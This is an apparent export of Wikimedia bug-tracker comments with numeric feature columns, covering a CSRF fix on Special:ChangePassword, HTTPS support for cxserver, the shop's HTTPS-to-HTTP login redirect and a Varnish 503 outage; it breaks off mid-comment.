287307,Login csrf in Special:ChangePassword,Early access for Wikia.,,,1395840561,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-67,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Early access for Wikia.
287301,Login csrf in Special:ChangePassword,The patch looks good to me.,,,1394551046,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,The patch looks good to me.
287293,Login csrf in Special:ChangePassword,"Created attachment 14787
Add CSRF token on Special:ChangePassword

**Attached**: {F13061}",,,1394480086,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rgqs2iey2y7pj7zvug7t,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.8095238095238095,"Created attachment 14787
Add CSRF token on Special:ChangePassword

**Attached**: {F13061}"
64201,Add https support to cxserver,"Would make testing easier for me, as I run wiki over https, and all http requests are blocked.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1393941000,1398680537.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-p2jnnbdoeof2oymmfjck,task_description,resolved,True,c3,1,True,False,True,-70,True,3.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.8205128205128207,0.7435897435897436,"Would make testing easier for me, as I run wiki over https, and all http requests are blocked.

--------------------------
**Version**: unspecified
**Severity**: normal"
285886,Add https support to cxserver,"Change 129400 merged by jenkins-bot:
Adds HTTPS support to cxserver

https://gerrit.wikimedia.org/r/129400",,,1398680402,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2jnnbdoeof2oymmfjck,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"Change 129400 merged by jenkins-bot:
Adds HTTPS support to cxserver

GERRIT_URL"
285880,Add https support to cxserver,"Change 129400 had a related patch set uploaded by Nikerabbit:
Adds HTTPS Support to cxserver

https://gerrit.wikimedia.org/r/129400",,,1398342870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2jnnbdoeof2oymmfjck,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,"Change 129400 had a related patch set uploaded by Nikerabbit:
Adds HTTPS Support to cxserver

GERRIT_URL"
285875,Add https support to cxserver,"This sounds like something that should be supported from as early stage as possible.

Kartik, is this hard to configure?",,,1395397149,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-p2jnnbdoeof2oymmfjck,task_subcomment,,True,c3,1,True,,,-67,True,0.0,4.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9583333333333334,"This sounds like something that should be supported from as early stage as possible.

Kartik, is this hard to configure?"
63528,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"I am able to stay on HTTPS on the shop *up until* the site gets to asking me to log in and *then* it sends me to HTTP.

?!

Once a user is on HTTPS, keep them there.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**URL**: https://shop.wikimedia.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=37790",High,80.0,1392773820,1459803147.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-462ulbg4ytwoncnhomhg,False,PHID-TASK-z3erhatdd4e5dynio6hl,task_description,resolved,True,c3,1,False,False,False,-72,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,14.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,6.0,12.0,5.0,1.0,0.0,0.0,6.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,2.7093023255813953,0.5465116279069767,"I am able to stay on HTTPS on the shop *up until* the site gets to asking me to log in and *then* it sends me to HTTP.

?!

Once a user is on HTTPS, keep them there.

--------------------------
**Version**: wmf-deployment
**Severity**: major
**URL**: URL
**See Also**:
URL"
640402,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout)," Resolved per HuiZSF
",,,1459803147,,PHID-USER-462ulbg4ytwoncnhomhg,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0," Resolved per HuiZSF
"
616927,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"Seems shopify only use https for checkout transaction.
Similar report earlier in last year: 
https://phabricator.wikimedia.org/T96749",,,1456290034,,PHID-USER-an4pp3ctbvnmzztphldc,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.368421052631579,0.9473684210526315,"Seems shopify only use https for checkout transaction.
Similar report earlier in last year: 
URL"
616924,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),the shop does not run on WMF infra but external on shopify.com and isn't operated by the operations team. so i'm afraid ops and traffic can't do much here unless we'd stop outsourcing this to shopify. ,,,1456289530,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,3,True,,,33,True,2.0,0.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,5.0,2.0,12.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,7.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.9285714285714284,0.8809523809523809,the shop does not run on WMF infra but external on shopify.com and isn't operated by the operations team. so i'm afraid ops and traffic can't do much here unless we'd stop outsourcing this to shopify. 
426350,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),">>! In T63528#1118419, @Dzahn wrote:
> Has this been resolved in T39790#418202 ?

No. I just tested. This issue (redirect to HTTP after login) has not been resolved. ",,,1426298275,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.875,"QUOTE
QUOTE

No. I just tested. This issue (redirect to HTTP after login) has not been resolved. "
426297,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),Has this been resolved in T39790#418202 ?,,,1426291161,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Has this been resolved in T39790#418202 ?
292279,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"Hi Andre,

Thanks for the ping. I just updated bug 37790. In short, Shopify wasn't able to help us in the way we had hoped, so we're trying to get fr-tech to work on it. We need to work on getting some more technical resources for the shop specifically, and hope to see that happening this summer.",,,1402936043,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-55,True,1.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,6.0,16.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,10.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,9.0,16.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,3.4571428571428573,0.7714285714285715,"Hi Andre,

Thanks for the ping. I just updated bug 37790. In short, Shopify wasn't able to help us in the way we had hoped, so we're trying to get fr-tech to work on it. We need to work on getting some more technical resources for the shop specifically, and hope to see that happening this summer."
292275,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"Hi Caitlin, any news/progress here, as this ticket was called the ""main focus"" in bug 37790 three months ago?",,,1402867891,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-55,True,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,8.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9230769230769231,"Hi Caitlin, any news/progress here, as this ticket was called the ""main focus"" in bug 37790 three months ago?"
292268,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"I wasn't aware of this bug, so thanks for pointing it out! I'm going to talk with James Alexander and the people at Shopify to find out what has already been done to work on this and what we can do.",,,1392774470,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,24.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,2.0,4.0,7.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,9.0,24.0,7.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4347826086956523,0.8478260869565217,"I wasn't aware of this bug, so thanks for pointing it out! I'm going to talk with James Alexander and the people at Shopify to find out what has already been done to work on this and what we can do."
292260,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"(In reply to MZMcBride from comment #1)
> Or just require HTTPS (cf. bug 37790).

Yup. But if not then at least do this.",,,1392774329,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.9583333333333335,0.9583333333333334,"(In reply to MZMcBride from comment #1)
QUOTE

Yup. But if not then at least do this."
292251,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"(In reply to jeremyb from comment #0)
> Once a user is on HTTPS, keep them there.

Or just require HTTPS (cf. bug 37790).",,,1392774238,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9583333333333335,0.875,"(In reply to jeremyb from comment #0)
QUOTE

Or just require HTTPS (cf. bug 37790)."
63364,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Original bug tilte:
Server error on http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page

That page you are sent to by Google when searching for ""wikimania 2014"".

The page reads as follows:

Wikimedia Foundation
Error

Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: GET http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page, from 91.198.174.67 via amssq57 amssq57 ([91.198.174.67]:3128), Varnish XID 922288847
Forwarded for: 217.186.201.65, 91.198.174.67
Error: 503, Service Unavailable at Fri, 14 Feb 2014 08:46:27 GMT



Note that https://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page
works

--------------------------
**Version**: wmf-deployment
**Severity**: major",High,80.0,1392367620,1392376214.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-ccqzivnqqqyzswrui3zt,task_description,resolved,True,c3,1,False,False,True,-72,True,0.5,0.0,0.0,1.0,0.0,2.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,3.0,7.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.0,0.5,11.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,19.0,1.5,0.5,4.0,0.0,0.0,0.0,0.0,1.5,1.0,6.5,0.0,1.5,7.5,10.5,0.0,1.0,0.0,1.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.5,4.273333333333333,0.7333333333333334,"Original bug tilte:
Server error on URL

That page you are sent to by Google when searching for ""wikimania 2014"".

The page reads as follows:

Wikimedia Foundation
Error

Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.
Request: GET URL from 91.198.174.67 via amssq57 amssq57 ([91.198.174.67]:3128), Varnish XID 922288847
Forwarded for: 217.186.201.65, 91.198.174.67
Error: 503, Service Unavailable at Fri, 14 Feb 2014 08:46:27 GMT



Note that URL
works

--------------------------
**Version**: wmf-deployment
**Severity**: major"
283783,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Thanks for handling this so quickly and keeping this ticket updated!
(I had the same issue yesterday late night on fr.wp.)",,,1392386953,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.9615384615384617,0.9615384615384616,"Thanks for handling this so quickly and keeping this ticket updated!
(I had the same issue yesterday late night on fr.wp.)"
283779,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),*** Bug 61365 has been marked as a duplicate of this bug. ***,,,1392386756,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61365 has been marked as a duplicate of this bug. ***
283777,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Mark restarted Varnish backend on amssq57, and things work again.

Thanks, Mark!",,,1392376214,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,0.8823529411764706,"Mark restarted Varnish backend on amssq57, and things work again.

Thanks, Mark!"
283774,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Although they failed for me (using European host) when the bug was filed,
both of

  http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page
  http://en.wikipedia.org/wiki/Selberg_sieve

are now working again for me (using the same European host).",,,1392376047,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,5.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,0.0,3.5,0.7631578947368421,"Although they failed for me (using European host) when the bug was filed,
both of

  URL
  URL

are now working again for me (using the same European host)."
283771,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"**socket0** wrote:

I can also reproduce the problem from Europe (also server amssq57). HTTP gets an error, HTTPS works. 

> Request: GET http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page, from 91.198.174.68 via amssq57 amssq57 ([91.198.174.67]:3128), Varnish XID 928287430
> Forwarded for: ***.***.***.***, 91.198.174.68
